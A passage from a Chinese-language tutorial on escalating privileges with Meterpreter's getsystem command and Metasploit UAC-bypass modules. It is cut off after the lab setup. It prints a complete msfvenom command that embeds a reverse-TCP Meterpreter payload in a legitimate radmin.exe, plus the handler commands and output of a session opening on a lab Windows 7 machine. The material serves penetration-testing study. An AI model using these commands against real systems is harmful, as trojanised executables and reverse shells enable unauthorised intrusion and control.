meterpreter之getsystem命令提权详解

最新推荐文章于 2025-05-02 19:05:21 发布

原创

最新推荐文章于 2025-05-02 19:05:21 发布 · 9.6k 阅读

本文深入探讨了在Metasploit框架下使用getsystem命令进行权限提升的技巧，特别是在Windows Vista及更高版本的操作系统中，如何绕过UAC限制，实现从管理员组用户到SYSTEM权限的提升。文章详细介绍了实验环境搭建、提权失败原因分析、以及两种常见的绕过UAC的方法，包括exploit/windows/local/ask和exploit/windows/local/bypassuac模块的使用。

前言

meterpreter shell是msf上集成的一组功能强大的shell集合，当我们获取一个反弹的meterpreter shell时，可以轻松的通过各种命令对靶机进行控制。熟悉的meterpreter的同学都清楚，其中有一个getsystem命令，帮助文档说明是提权用的，没有更详细的说明，很多人会误解为这是meterpreter的一键提权工具，但每次输入这个命令，都会爆出各种“incorrect“和”denied“，本文将通过理论和实验说明此命令的适用环境及提权过程。

一、实验环境

靶机：win7 ip：10.10.10.166
攻击机：kali2020 ip：10.10.10.136
1、攻击机上使用msfvonem生成meterpreter的payload，并下载到靶机上

root@kali2020:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.136 LPORT=4444 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradmin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 1319424 bytes
Saved as: rradmin.exe

2、攻击机开启监听，靶机运行payload，得到反弹shell，使用getsystem命令，提权失败。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.136:4444 
[*] Sending stage (180291 bytes) to 10.10.10.166
[*] Meterpreter session 1 opened